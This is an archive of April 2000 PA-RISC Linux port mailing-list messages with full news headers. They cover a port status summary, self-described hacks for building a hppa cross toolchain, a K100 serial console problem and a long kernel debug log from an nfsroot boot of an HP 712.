     * The tulip driver from 2.3.99pre3 was pulled into our tree.
     * The glibc porting work continued.
       
State of the Port Summary

     * Kernel
          + based on 2.3.99pre1. Built as ELF.
     * Supported Hardware:
          + SCSI, Lan and PS/2 on Lasi I/O controller
          + Dino PCI controller
          + Elroy PCI controller
          + Tulip ethernet
          + PCNet32 ethernet
          + Intel EEPro ethernet
     * Project Page
          + http://www.thepuffingroup.com/parisc/
     * Latest Workable Image
          + ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/
            Image-20000218
     * Running PA-RISC/Linux "recipe":
          + http://thepuffingroup.com/parisc/recipe.html


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] building a glibc-based tool chain
Date: Thu, 06 Apr 2000 12:05:57 -0600
Lines: 85
Approved: news@gmane.org
Message-ID: <E12dGfF-00012e-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618877 31933 80.91.229.3 (22 Nov 2014 01:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu Apr  6 12:06:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01050
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Apr 2000 12:06:04 -0600
Original-Received: (qmail 12261 invoked by uid 15267); 6 Apr 2000 18:05:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12247 invoked from network); 6 Apr 2000 18:05:58 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 6 Apr 2000 18:05:58 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel2.hp.com (Postfix) with ESMTP id 21077A93
	for <parisc-linux@thepuffingroup.com>; Thu,  6 Apr 2000 14:05:58 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12dGfF-00012e-00; Thu, 06 Apr 2000 12:05:57 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7167


Well it still doesn't work, but here are some UGLY HACKS I use to
get a tool chain built using our glibc, which only works on x86 I think.
There are many many failure modes which these steps avoid, or so I hope.
Lots of this is probably my misunderstanding of the glibc/gcc relationship.

First grab binutils and build it as usual.  I used

    .../binutils/configure --target=hppa1.1-linux --disable-nls \
	--prefix=/opt/palinux
    make
    make install

DO NOT allow the default --prefix to be used or you'll be SCREWED later
when you try to build gcc.

Fix your $PATH before going further:

    PATH=/opt/palinux/bin:$PATH

Now the nasty one.  Grab glibc and configure it:
    !! DO NOT allow the default --prefix to be used or you'll be SCREWED
    !! later when you try to build gcc.  If by chance you do an install
    !! into /usr/local you'll have to remove those files before gcc will
    !! build.

    .../glibc/configure --target=hppa1.1-linux --disable-nls \
	--prefix=/opt/palinux --disable-shared --disable-sanity-checks
    make

This will fail with undefined references.  Do:
    ls > nss/makedb
    make

This should complete.  This is pretty creepy but...

    for n in *
    do
	touch $n/stubs
    done

    make install

This will fail, but gets far enough to be useful.

Now in the top-level makefile in the real glibc source tree, remove
the dependency like this diff shows (otherwise the manual/ subdir build
will prevent success).

    diff -r1.1 Makefile
    142c142
    < $(inst_includedir)/gnu/stubs.h: subdir_install
    ---
    > $(inst_includedir)/gnu/stubs.h: 

Then:

    make /your/install/directory/include/gnu/stubs.h

Now remove the #ifdef __USE_UNIX98 and the matching #endif  /* Unix98 */
from /your/install/directory/include/unistd.h around line 238

Time for gcc

    .../gcc/configure --target=hppa1.1-linux --disable-nls --prefix=/opt/palinux

    make
    make install

For some unknown reason, this new hppa1.1-linux-gcc doesn't look in
/opt/palinux/include for headers, thus a quick hack:

    mv /opt/palinux/lib/gcc*/*/*/include/* /opt/palinux/include
    rmdir /opt/palinux/lib/gcc*/*/*/include/
    ln -s /opt/palinux/include /opt/palinux/lib/gcc*/*/*/include/

It might be better to use a different --prefix when configuring glibc
so as to have these header files installed where gcc expects to find them.

At this point I was able to compile but not link.  For some reason gcc
doesn't look in /opt/paliux/lib for crt1.o and friends.  When I
added crt0.o and libc by hand, the link failed with a meaningless error.

	-P


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K100 problem
Date: Thu, 6 Apr 2000 16:30:46 -0500 (CDT)
Lines: 78
Approved: news@gmane.org
Message-ID: <200004062130.QAA25142@osiris.silug.org>
References: <002801bf9b5f$c12180e0$4b58000f@jh73313p.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618878 31939 80.91.229.3 (22 Nov 2014 01:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Thu Apr  6 15:31:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA03452
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Apr 2000 15:30:50 -0600
Original-Received: (qmail 22589 invoked by uid 15267); 6 Apr 2000 21:30:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22561 invoked from network); 6 Apr 2000 21:30:48 -0000
Original-Received: from pm3-isdn0-174.apci.net (HELO osiris.silug.org) (206.29.113.174)
  by mailserv2.iuinc.com with SMTP; 6 Apr 2000 21:30:48 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id QAA25142
	for parisc-linux@thepuffingroup.com; Thu, 6 Apr 2000 16:30:46 -0500
In-Reply-To: <002801bf9b5f$c12180e0$4b58000f@jh73313p.cup.hp.com> from Jim Hull
 at "Mar 31, 2000 02:23:35 pm"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7168

Jim Hull said:
> WARN  A008  No bootable device found 

Apparently the terminal was dead.  I hooked it up to my PC and got
output.  Now I have another problem...  The box outputs to the serial
console, but it doesn't seem to want to take input on the serial
console.  Any ideas what might cause that?

Here's the boot messages:

--

Firmware Version  1.8

Duplex Console IO Dependent Code (IODC) revision 4

------------------------------------------------------------------------------
   (c) Copyright 1990-1994, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------

      0      100  MHz   Active                 Functional          256 KB

  Central Bus Speed (in MHz)  :        100  
  Available Memory (bytes)    :  167772160  
  Good Memory Required (bytes):   16211968  


   Primary boot path:    8/0.6   (dec)
   Alternate boot path:  8/12/5.0   (dec)
   Console path:         8/4/0.0   (dec)
   Keyboard path:        8/12/7.0   (dec)

CPU 0
  WARNING:  Memory configuration is not optimized for performance.  Refer
            to the System Installation or Memory Installation manuals for 
            memory configuration guidelines.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting... 
Boot IO Dependent Code (IODC) revision 7


HARD Booted.

ISL Revision A.00.38  OCT 26, 1994 

ISL booting  hpux

Boot
: disc(8/0.6.0;0)/stand/vmunix
4334092 + 380928 + 407872 start 0x17ce68

--

It does boot into HP-UX, so if I can figure out a way into it over the
network, I can probably reload the box with IgniteUX and just use it
as a HP-UX system, but obviously life would be easier if I could use
the console...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 nfsroot report
Date: Fri, 07 Apr 2000 00:34:38 -0600
Lines: 474
Approved: news@gmane.org
Message-ID: <20000407063438.BE6701E9D8@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618878 31945 80.91.229.3 (22 Nov 2014 01:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Fri Apr  7 00:34:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA09907
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 00:34:42 -0600
Original-Received: (qmail 19261 invoked by uid 15267); 7 Apr 2000 06:34:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19254 invoked from network); 7 Apr 2000 06:34:40 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 06:34:40 -0000
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id BE6701E9D8
	for <parisc-linux@thepuffingroup.com>; Fri,  7 Apr 2000 00:34:38 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7169

I had a little time tonight, so I tried to build the kernel tools and kernel
from CVS and boot it with nfsroot on my 712/100.  The build machine was my
dual Celeron 500 running Debian, and the bootp/nfs server is a dual Pentium
Pro elsewhere in the basement also running Debian.  It went pretty well.

Here's what I did:

 - - - - -
2000.04.06

- move everything except this notebook file down one to ~/puffin/Previous

- retrieve stuff to ~/puffin

        export PATH=/opt/puffin/bin:$PATH
        cd /home/bdale/puffin

        export CVSROOT=:ext:bdale@puffin.external.hp.com:/home/cvs/parisc
        cvs co linux-2.3 palo gcc binutils glibc

- hack on palo/Makefile per docs in palo subdir

- install headers

        cd /opt/puffin
        sudo tar xvzf /mirrors/puffin/src/include.tar.gz
        cd /home/bdale/puffin

- build and install fresh binutils

        mkdir binutils-build ; cd binutils-build
        ../binutils/configure --target=hppa1.1-linux --prefix=/opt/puffin \
                --disable-nls
        make -j4
        sudo make install
        cd ..

- build and install fresh gcc 

        mkdir gcc-build ; cd gcc-build
        ../gcc/configure --target=hppa1.1-linux --prefix=/opt/puffin \
                --disable-nls --without-libc
        make -j4 LIBGCC2_INCLUDES=-I/opt/puffin/include
        sudo make install
        cd ..

- build kernel

        (cd linux-2.3 ; make clean ; make oldconfig ; make dep) 
        (cd linux-2.3 ; make -j4 vmlinux)

- build palo, and go for it

        (cd palo ; make)
        (cd linux-2.3 ; make -j4 palo)
        scp palo/lifimage winfree:parisc/lifimage.2000.04.07

- update symlinks on winfree, and try booting the 712

 - - - - -

And here's the log of the boot...  Note that it more or less works.  The NFS
timeout errors are new to me since my pre-puffinfest image, and there were some
obvious "pauses" of a few seconds here and there not always correlated with
those errors.  Let me know if there's anything else I can try. 

Bdale



----------------------------------------------------------------------------
BootRom Version    2.3  
Memory Size:  192 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1993, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
Selecting a system to boot.

Booting
palo ipl bdale@chunks Fri Apr  7 00:14:10 MDT 2000
0/vmlinux 1932378 bytes @ 0x6000
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.133.104.8'
Kernel: partition 0 file /vmlinux
ELF32 executable
prepare_loadable 0050368c 2

Entry 0010176c first 00100000 n 4
Segment 0 load 00100000 size 1067412 mediaptr 0x1000
Segment 1 load 00206000 size 96104 mediaptr 0x106000
Segment 2 load 00220000 size 57700 mediaptr 0x11e000
Segment 3 load 00230000 size 8192 mediaptr 0x12d000
branching to kernel entry point 0x0010176c
The Kernel has started...
Free memory starts at: 0xc02a0000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.133.104.8'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00006020 00000481 00000000 00000000 77c2ae08 00000000 00000004 00000072 00000072
vers    0000000c
CPUID vers 0 rev 0
CPU(s): 1 x PA7100(LC?) at 100.000000 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Gecko 100 GSC Core Graphics (10) at 0xf8000000, versions 0x1d, 0x0, 0x85, 0x0, 0x0
2. Gecko 100 Core BA (11) at 0xf0100000, versions 0x1d, 0x0, 0x81, 0x0, 0x0
3. Gecko 100 Core SCSI (10) at 0xf0106000, versions 0x1d, 0x0, 0x82, 0x0, 0x0
4. Gecko 100 Core Lan (802.3) (10) at 0xf0107000, versions 0x1d, 0x0, 0x8a, 0x0, 0x0
5. Gecko 100 Core RS-232 (10) at 0xf0105000, versions 0x1d, 0x0, 0x8c, 0x0, 0x0
6. Gecko 100 Core Centronics (10) at 0xf0102000, versions 0x1d, 0x0, 0x74, 0x0, 0x0
7. Gecko 100 Audio (10) at 0xf0104000, versions 0x1d, 0x0, 0x7b, 0x0, 0x0
8. Gecko 100 Core PC Floppy (10) at 0xf010a000, versions 0x1d, 0x0, 0x83, 0x0, 0x0
9. Gecko 100 Core PC Keyboard (10) at 0xf0108000, versions 0x1d, 0x0, 0x84, 0x0, 0x0
10. Gecko 100 Core PC Keyboard (10) at 0xf0108100, versions 0x1d, 0x0, 0x84, 0x0, 0x0
11. Gecko 100 (712/100) (0) at 0xfffbe000, versions 0x602, 0x0, 0x4, 0x0, 0x81
12. Gecko 100 (1) at 0xfffbf000, versions 0x39, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
Linux version 2.3.99-pre1 (bdale@chunks) (gcc version 2.9-hppa-991112) #5 Fri Apr 7 00:14:09 MDT 2000
init_bootmem 672 32768
init_bootmem complete
initrd: 00000000-00000000
pagetable_init
miscoloured (c0220cf4)
miscoloured (c0220d0c)
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 89.70 BogoMIPS
Memory: 124916k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
request_irq(258, c01bdaa4, 0x0, lasi, c7fea080)
Lasi IRQ 258 EIM 0xfffe0002<4>
lasi_alloc_irq(0xf0105000) 0x200 + 26 = 538
Found LASI serial #0 at 0xf0105000, IRQ 538
ttyS00 at iomem 0xf0105800 (irq = 538) is a 16550A
lasi_alloc_irq(0xf0107000) 0x200 + 23 = 535
Found LASI lan at 0xf0107000, IRQ 535
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 00 60 B0 80 A1 D8 IRQ 535.
lasi_82596.c:v1.2 02/13/2000
eth0: lp at 0xc7fb4000 (1720 bytes), lp->scb at 0xc7fb4014
request_irq(535, c01b8c60, 0x0, i82596, c7fedc00)
lasi_enable_irq(c7fea080, 23) IMR 0x100 addr f0100004
lasi_disable_irq(c7fea080, 23) IMR 0x00
lasi_enable_irq(c7fea080, 23) IMR 0x100 addr f0100004
about to RX_START status 0000
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.133.104.8, my address is 192.133.104.28
Looking up port of RPC 100003/2 on 192.133.104.8
Looking up port of RPC 100005/1 on 192.133.104.8
VFS: Mounted root (NFS filesystem) readonly.
tty_open
searching for 4/64
found 136/[0,256]
found 128/[0,256]
found 3/[0,256]
found 2/[0,256]
found 5/[64,64]
found 4/[64,64]
driver: -1071058048
retval 0
request_irq(538, c01a3838, 0x4000000, serial, c028fd64)
lasi_enable_irq(c7fea080, 26) IMR 0x120 addr f0100004
driver.open 0
do_execve
reading c017e45c c7fbc7c8 c7fbc588 128
nfs: server 192.133.104.8 not responding, still trying
nfs: server 192.133.104.8 OK
returned 128
02100108 053113cc 00000000 00000000
00000000 00000000 00000000 00000080
00000030 00050015 00000000 000000b0
00000003 0000011c 00000012 00000000
00000000 000003ec 00000160 000000b0
00000000 0000054c 00000000 00050000
00000000 00050000 00000015 00050000
00000000 00050000 00000000 072414b9
trying c0164134
trying c0163b38
load_som_binary
It seems to be a valid SOM executable
reading c017e45c c7fbc848 c7fea680 48
returned 48
00000004 00000028 000451d4 00001000
00001000 00009000 40001000 00047000
0000ccdc 00002f10 00000000 00000000
c7fedc00 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 c7feafe0
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
bprm->p: 2001ffc8
stack_base 20000000 b1c71000
stack_base 20001000 b1c71000
stack_base 20002000 b1c71000
stack_base 20003000 b1c71000
stack_base 20004000 b1c71000
stack_base 20005000 b1c71000
stack_base 20006000 b1c71000
stack_base 20007000 b1c71000
stack_base 20008000 b1c71000
stack_base 20009000 b1c71000
stack_base 2000a000 b1c71000
stack_base 2000b000 b1c71000
stack_base 2000c000 b1c71000
stack_base 2000d000 b1c71000
stack_base 2000e000 b1c71000
stack_base 2000f000 b1c71000
stack_base 20010000 b1c71000
stack_base 20011000 b1c71000
stack_base 20012000 b1c71000
stack_base 20013000 b1c71000
stack_base 20014000 b1c71000
stack_base 20015000 b1c71000
stack_base 20016000 b1c71000
stack_base 20017000 b1c71000
stack_base 20018000 b1c71000
stack_base 20019000 b1c71000
stack_base 2001a000 b1c71000
stack_base 2001b000 b1c71000
stack_base 2001c000 b1c71000
stack_base 2001d000 b1c71000
stack_base 2001e000 b1c71000
stack_base 2001f000 c7e1f000
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
(start_brk) 40017000
(end_code) 00047000
(start_code) 00001000
(end_data) 4000a000
(start_stack) 20020028
(brk) 40017000
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
nfs: server 192.133.104.8 not responding, still trying
nfs: server 192.133.104.8 OK
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
Stand-alone shelcurrent = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
l (version 3.4)
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
500 5 1970 53bcurrent = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c

current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
> current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
foo 1073767600, 20020620
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
-ls -l
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
quux
quuuxcurrent = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c

current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
drwxr-xr-x  6 1000     1000         1024  Feb 24 2000  .
drwxr-xr-x  6 1000     1000         1024  Feb 24 2000  ..
drwxrwxrwx  2 0        0            1024  Oct 18 1999  dev
drwxrwxrwx  2 0        0            1024  Aug 22 1999  lost+found
drwxrwxr-x  2 0        0            1024  Oct 19 1999  proc
drwxrwxr-x  2 1000     1000         1024  Feb 24 2000  sbin
> foo 1073767600, 20020620
hellow
quux
quuuxcurrent = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c

current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
do_execve
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
do_execve
do_execve
reading c017e45c c7f506c8 c7f50488 128
returned 128
02100108 05124000 00000000 00000000
00000000 00000000 00002f13 00000080
000000b4 0003a000 40005560 00000138
00000003 000001a4 00000012 000004b0
00000000 000004b0 000001d0 00000474
00000003 0000d99c 00000090 00000680
0000052d 00006e04 00000000 00006e04
00006b98 0003a000 00000000 47028f5c
trying c0164134
trying c0163b38
load_som_binary
It seems to be a valid SOM executable
reading c017e45c c7f50748 c7fb74a0 180
returned 180
10000004 00000028 00025fc4 00001000
0000f000 00005000 40001000 00035000
00009ec0 00002f10 00000000 00000000
8000000b 00000004 00000000 80000001
00000020 39323435 332d3037 42000000
31312e30 36000000 00000000 387ab5ba
00000000 80000001 00000020 39323435
332d3037 42000000 31312e30 34000000
bprm->p: 2001ff9c
stack_base 20000000 b1c71000
stack_base 20001000 b1c71000
stack_base 20002000 b1c71000
stack_base 20003000 b1c71000
stack_base 20004000 b1c71000
stack_base 20005000 b1c71000
stack_base 20006000 b1c71000
stack_base 20007000 b1c71000
stack_base 20008000 b1c71000
stack_base 20009000 b1c71000
stack_base 2000a000 b1c71000
stack_base 2000b000 b1c71000
stack_base 2000c000 b1c71000
stack_base 2000d000 b1c71000
stack_base 2000e000 b1c71000
stack_base 2000f000 b1c71000
stack_base 20010000 b1c71000
stack_base 20011000 b1c71000
stack_base 20012000 b1c71000
stack_base 20013000 b1c71000
stack_base 20014000 b1c71000
stack_base 20015000 b1c71000
stack_base 20016000 b1c71000
stack_base 20017000 b1c71000
stack_base 20018000 b1c71000
stack_base 20019000 b1c71000
stack_base 2001a000 b1c71000
stack_base 2001b000 b1c71000
stack_base 2001c000 b1c71000
stack_base 2001d000 b1c71000
stack_base 2001e000 b1c71000
stack_base 2001f000 c7c1f000
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
(start_brk) 40010000
(end_code) 00027000
(start_code) 00001000
(end_data) 40006000
(start_stack) 2002002c
(brk) 40010000
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
nfs: server 192.133.104.8 not responding, still trying
nfs: server 192.133.104.8 OK
nfs: server 192.133.104.8 not responding, still trying
nfs: server 192.133.104.8 OK
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
nfs: server 192.133.104.8 not responding, still trying
nfs: server 192.133.104.8 OK
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
Hello, worldcurrent = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc

current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
current = c7f50000, mm = c7f610e0, mmap_sem = c7f610fc
